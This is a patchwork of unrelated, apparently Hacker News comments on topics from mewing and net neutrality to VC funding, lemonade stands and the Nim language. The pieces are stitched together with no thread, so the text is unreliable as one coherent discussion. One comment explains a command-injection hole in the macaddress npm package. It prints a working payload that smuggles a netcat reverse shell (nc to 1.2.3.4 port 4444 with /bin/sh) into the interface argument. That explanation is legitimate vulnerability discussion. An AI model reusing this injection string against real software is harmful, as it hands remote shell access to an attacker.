There is this guy John Mews, and his son, who advocate something called Orthotropics. It's basically forcing yourself to push your tongue onto the roof of your mouth. I recently got braces, like a few weeks ago, as a 26 year old male adult, and have been doing this. I've been pretty consistent daily, not all day, about keeping my tongue on the roof of my mouth. I really recommend just reading it. It probably is just a placebo, but the cool thing is that I can feel the difference in my breathing. It feels smoother and less forced coming out through the nose. Just the idea of keeping your lips together seemed to have helped. Hopefully over time it improves.

I came across this post by Kent Beck the other day on dealing with complexity. I think the TDD method definitely helps break it down into digestible chunks.

Hey everyone! One of the co-founders of Teleport here. Would love to hear what you think about it and happy to answer your questions!
You must never call anyone "European" and "Asian" then, owing to the lack of countries incorporating those terms in their names.
The Scooter Economy
I maintain a package that has an indirect dep to macaddress because of UUID generation. UUID v2 is generated from Mac address + timestamp. My package only generates uuid v4 (fully random) and even if it was, the uuid dep doesn't expose the vulnerable argument. As such it isn't vulnerable. But the dep is still there.

This isn't surprising at all tbh.
Don't thank me yet, there's still quite a lot to be done. I wouldn't call myself an "overseer" :)
>America is a continent,

But it's not. North America and South America are just as separate as Africa and Eurasia.

>sticking to definitions that are internationally agreed upon.

"American" is used as the demonym pretty much everywhere in the world other than Central America and South America. So that advice is backwards.

And try to empathize by imaging that you can't call yourself a demonym, and you have to either go by a bizarre acronym like "RAian" for the Republic of Argentina, or when someone says "I'm French, what about you?" you have to say "Well, I am living in the Republic of Argentina"

Then turn around and direct this at Australians. They apparently have no right to their demonym either, because New Guinea is part of the continent. And in their case, it's actually part of the continent.

https://en.wikipedia.org/wiki/Australia_(continent)

Papua New Guineans and Indonesian Papuans already have their own names for themselves, but what if they also want to say they're Australian? Let's have everyone switch from "Australian" to "CAian" for the Commonwealth of Australia.

San Marino is literally on the Italian Peninsula, so "italiano" is off completely. They need to start going by "RIano" or something.

And how many countries are in the South of Africa?
Regarding their cloud business, I think it's fine to use AWS. However, I'm kind of against their online shop, since there are many reports that they abuse their employees in warehouses.
At the risk of revealing my ignorance, but how can we trust those alternative services any more than Google?
An open data standard for planning applications?
It's funny but gitlab, start working with amazon and is hosted on google? And nobody says anything about it.

Microsoft is the devil :O :)

> Perhaps you could remain in business and assist foreigners with setting up Japanese companies.

Someone with an empty shell business, limited or no Japanese skill and no Japanese cofounder is precisely the last person I would ask advice to set up my company there.
I agree that a single person can build a major app in a year. Can a single person build, market, sell, and support that app in a year without giving up their entire life?
>There's a vast asymmetry between the privacy people say they want and in reality how quickly they'll give it up in exchange for free services.

This is a very interesting point. I think people don't really acknowledge how much convenience they gain from giving up their privacy. Much of the online discussion around GDPR seemed to be about this issue. People didn't seem top acknowledge just how much they gain from it.

I guess this is why it was made into a regulation, so people don't have to make the choice of whether to use an online service or keep their privacy.
A wavy chopper makes a great first blade. My 17-month-old had a blast cutting strawberries the other day. Next I'll let him try something firmer like carrots.

Google Photos would be the most difficult thing for me to leave behind. Nothing to my knowledge even comes close in terms of functionality. A year or two ago I tried Microsoft's equivalent in OneDrive and it was absolutely abysmal, the web interface barely functioned with a few thousand photos.

Not to mention the search works so well, I don't know how I'd replace it for finding things. I would take an eternity to go back and tag all of my photos.
If the landlord donated $50k to a charity, is that a writeoff? If that charity rents $45k of space from the donor does that count?

A similar loophole was being used in the UK a few years back: https://www.bbc.co.uk/news/business-16692556
This. You're a bean counter and you are tasked with making up as much money as possible via layoff, while losing as few people as possible. You possibly don't even know the age of the people on your spreadsheet beyond what you can assume from titles and roles. You go down the list and cut the big numbers in teams with more people than average (likely more juniors that are mentored by the seniors with big numbers next to their name). End result: you "discriminated" against older people. Though really you just discriminated against higher salaries. It will hurt the company but all layoffs do.
I'd be shocked if things change immediately. Several states are implementing their own Net Neutrality regulations since FCC ceded regulatory authority on the issue, this looks like a transient situation that galvanizes further support for net neutrality to me. I don't think this is settled until Congress actually passes a law; considering how popular net neutrality regulations are, if Democrats win the House, it could happen in 2019 with bipartisan support in the Senate.

I think it changes a whole lot based on who you work with.

In my experience it seems like 75% of VCs are neutral. They try to be helpful, aren’t really, but don’t get in the way, and their cash is green. They can email me two times a day if they want, it won’t help me any more (and will be annoying).

10% are actively harmful. Either they have really bad advice, are a distraction, or try to lead your company down bad paths.

15% are incredibly helpful (maybe the 10% and the 15% should be switched), and you should do whatever it takes to work with them. They can think through problems instantly, see 15 steps ahead, understand where you are and what you should be focusing on, know everyone, and actually put in the work. I’ve been shocked at how helpful some VCs can be in eliminating most of your biggest problems. It’s just rare that happens.

That’s why I’m surprised to see how little “track record” was valued. With few exceptions that’s my #1 consideration when deciding who to take money from, or perhaps #2 begind “reputation.”
I spent a lot of time looking at sites like betalist and producthunt in hopes of finding some interesting projects.

But they all seem so forced and artificial and hype marketing garbage.

Reading online discussions I get the impression that everyone's working on such useful products but I'm not seeing the projects around.
As others have mentioned, the paperwork can wait. Your accounting entries are immaterial at this point. Do you have an international health insurance plan that has mental health coverage such as Bupa or Cigna Global?
Yeah the general public can be really stupid at times.
Codegiant I like me for small personal repositories without much importance, like mine. Is it based on gitlab? Tell me more about them. It looks nicer than gitlab.
Anything which passes "iface" through without sanitising it.

The argument to exec is executed in a shell, so it can execute just about anything it likes, such as dialing out to a host under the attacker's control and giving it direct shell access.

e.g.

macaddress.one(";nc 1.2.3.4 4444 –e /bin/sh;", () => {})
Why should a developer definitely learn DevOps methods?
Campbell and Manning's paper is interesting, a touch too anecdotal for my tastes, but I do agree that dignity and respectability politics has seemingly vanished from the ether.

By the way, this article is short and useless, check out these links for some more in depth reviews of the book and its position - I don't agree or disagree with these articles, they just cover the topic in more detail. Caveat lector.

You made me think of the Margaret Thatcher Illusion, for which the best example I found was Dr. Phil Plait[0]. Funny thing, the idea of Capsule Networks (Hinton et al)[1, 2] seems to tackle some of these issues, though it's they're a bit young yet and more more work.

Sorry, I met the USA. Other countries will be diffferent of course, like China where deliveries are expected and rediculously cheap even including assembly.
What?

Most Americans don't even have a thousand dollars in their bank account.

Information wants to be free, its make more sense to promote openness and transparency.
LGBT is gaining acceptance, one of the reason is I believe its because its more visible.
I don’t think it’s just about being a business - it’s also about not being inspected properly for health reasons isn’t it? The same problems exist I believe for volunteers who prepare food for homeless people.

I don't think the FCC would have the power to strike down local laws, if they even had any desire to.

The best they could probably do would be a lawsuit, but the states would be well within their rights to add new laws on top of federal ones.
-Film definitely is only part of the equation, and I have to admit I have no idea how optics scale (that is - is it easier or harder to make a lens with a large image circle with excellent resolving power, as opposed to a smaller image circle?)

My (attempted!) point was that fine-grain film* creates a negative which will be a challenge to match for most sensors out there - it is my understanding sensor yield drops drastically as it increases in size, so if you need a huge sensor, film is still the most cost-effective solution for a lot of applications. Then again, 'cost-effective' and 'national security' are two phrases which do not often come up in the same sentence!

*) My favourite - ADOX CMS20, has a resolving power which easily outperforms even a Summicron 50 at a sensible (not diffraction-restricted) aperture - more than 500lp/mm; the manufacturer claim up to 800lp/mm are resolvable (!)

That translates into some 12,500 line pairs/inch of film/sensor, as long as the optics are holding up their part of the bargain - or somewhere just short of 1 gigapixel from a 24x36mm frame, if scanned using -cough- sufficiently expensive equipment.
Count me in. I never watch HD video, which is a huge % of all the traffic of every ISP. I wish I could pay less money for an internet connection that was cheaper in exchange for not being able to watch HD video.
Add to that that cssnano is unlikely to even be present in deployed code, it’s a build tool.
Tell people to stop upvoting these threads, don't tell commenters to stop explaining issues and providing sources.
Saying "subscription" and also telling us a per-flight price is confusing to me. Reading the page didn't clear it up particularly quickly either.

What exactly is the price and what exactly does it buy me?
>> The legal system as it is currently designed can not operate without privacy, and it is hard to imagine a system that can.

Actually, it's very simple. You yourself hinted at it:

> Put me in a legal case where I (and only I) have full access...

You had to specify "and only I", otherwise your argument would not make sense. Now suppose everybody has access to the same data, and voilà!, your power just vanished.
I want to take the devils advocate position here and ask: why shouldn't a vendor be allowed to charge more for tiered service? With FANG and other tech companies sitting on so much cash, why cant they build out competing networks if the prices get too high or the services they want to deliver require them? Wont the consumer benefit from this?
"a single person can build a major app in a year"

I believe this is false by at least two orders of magnitude. Particularly if major means high scale, with properly researched and designed to your customer, with proper support for users/customer, with proper infrastructure technically, financially and legally wise.

I am all for bootstrapping business and have as role models the likes of DHH more than VC-funded founders. But that doesn't mean I don't understand the need of capital.
Free 29-part course to learn Machine Learning
This is already happening here in the Czech Republic with some of the mobile carriers. They exclude some websites or services from the mobile data limit, spinning it exactly as you said: as a service to the subscriber. Looks like an obvious neutrality violation to me, but the current EU legislation seems to be too weak to strike it down immediately. What’s worse, the media don’t seem to care.
I feel like points 1 + 2/3 are in pretty stark contradiction to each other, honestly speaking. Work is a pretty important part of life (if one must work that is). It's clear that you're finding the work culture there dispiriting and uncongenial.

If I were you I'd get my money out and take an extended trip home (if that is possible for you). You're worrying about other people at a time when you need more care than they do - after all "they" are a pure abstraction let's face it.

To put it simply: Put on your own oxygen mask first.
Domo IPO: Looking Like a Tough Sell
Until they aren't anyway. Look at the AAA rated junk mortgage backed securities. Or Theranos - due diligence from a biology processor making money on the side could have told you that not all blood is sourced equal and the statistical minimum sizes to be able to detect certain components of low concentration accurately. Attempting to screen blood noninvasively would be more possible and that is a far harder problem that would call for several chained breakthroughs. Forget a research team - one person could beat the market without so much as cracking a book!

A perfect market requires perfect knowledge which in addition to requiring science fiction predictive abilities would have very weird implications given causality issues. Like loans being marginal in rates or not granted (if you know ahead of time they will be good for it is guaranteed profit and everyone with capital could give a small but net winning offer). If they knew they would lose nobody would give a lossy loan.

The stock market would be bizarrely illiquid or obsolete as funding is already guaranteed. Few would sell for what they see as a worse investment. Being able to tell if loaning five billion to an eccentric scientist would pay off or not.

Interesting hypotheticals aside it is important to remember that while good at managing supply and demand usually the market is not an oracle nor a god. Going against what everyone thinks is worthless is one way to strike it rich.

If you're feeling down and need someone to talk to, I can really recommend /r/KindVoice. You can be as anonymous as you want, it's just a community of people who want to help others when they need it the most. They also have a discord server, so it's a bit more of a direct interaction than through reddit.

How to Explain ADHD [video]
Well, if my anecdotal experience -- literally just a few minutes ago -- is any indication, it's a brilliant PR move. I read the story to my wife this morning and she said "Awww, and I just purchased Country Time Lemonaid" and went on and on about how cool it was that they were doing that.

I suspect that cases of government bureaucracy interfering with children's lemonaid stands is a pretty rare thing. I don't have any evidence handy but my suspicions originate from the fact that whenever some child's lemonaid stand gets shut down it seems to make its way into newspapers all throughout the country -- if it were a common occurrence, it wouldn't be newsworthy. So it's an easy win - it drums up some happy feelings for the kool-aid equivalent of lemonaid, reminds government bureaucrats that there are better uses for their resources and might result in them having to spend $300, maybe $600 dollars in related complaints if I'm correct about its rarity.
I'd suggest giving a try to data types + type classes as opposed to OOP. E.g. Haskell and Rust. Or OCaml, F# or Scala for combination of OOP + functional style.
What makes you so confident the FCC couldn't win in court? My understanding is that states have some right to additionally regulate, but only to the extent that federal law allows it.
Thanks for asking. I had stopped looking at newer languages long time ago and I can't tell quite how I decided to check out this Nim. Perhaps its finding your well written book, Nim in Action. Nim language has this one characteristic that means a lot to me -- to be able to learn the core concepts very quickly enough to get productive in some of the routine work (back-end system interactions, distributing compiled modules to other locations, numerical/data processing). Nim won my heart in this regard hands-down.

Well, along the lines of what is already mentioned, I stumbled on web communication aspects (I like the available template system, it performs well) and ran into glitches with the mongo or postgresql drivers as I got deeper. I am glad that Nim doesn't have a Ruby-like syntax -- Nim's current type structure/syntax is its strength, IMHO.

>> No, it's not. In our modern representative democracies, government is about asking as many people as possible for their input and then going forward with what seems wisest to you. Modern societies face problems that are much too complicated for the simple majority to be a good indicator of the best course of action.

It is just this mindset that is ruining the whole world. One persons so called wise choice which goes around creating discomfort for majority is what creates imbalance and intolerance across community and ruins every ones peaceful life.

>> We vote for our politicians because we agree with their set of values, and by electing them give them the responsibility of taking decisions for us, based on those values. In effect, we ask them to do the hard work of thinking through problems thoroughly enough to arrive at a good solution.

No politician will ever be skilled enough to make a decision. A politician is just a servant. I don't let my servant decide what to cook or what to do with their time.

I decide what menu i want and they just prepare the logistics and production.

Today i tell them to pick what majority wants and tomo i tell them to make what rest of them wants so that everyone is taken care. Each individual cannot or need not think and execute on how to clear the trash in their apartment. That's where a politician comes in i tell him daily we will keep trash outside home n u get some people to come and collect and dispose it using this technique and he just serves that task.

It should be the common people the actual customers who are making the decision not the service providers like politicians.

Or we can have multiple governments running simultaneously and i can just switch to the government of my choice and live by that rule. Something like changing from Verizon to Tmobile.
I suspect you are correct - I seem to recall that the last time this landed in the national news it was specific to health code, not business permits.
The chances of improperly producing lemonade that also doesn't have a bad taste seems de nullis. It's like banning you from putting on a band-aid on a friend, because that's practicing medicine.
I'd be interested to see how the break down of technical vs managerial is in those layoffs - could it be that older workers have been "promoted" out of technical roles into business roles that are easier to cull?
I remember getting outraged by some outrage-inducing article a few years back, but after seeing the kids in my neighborhood year after year now I wonder, was that just a viral exception? What percent of unlicensed lemonade stands get shut down these days anyway?
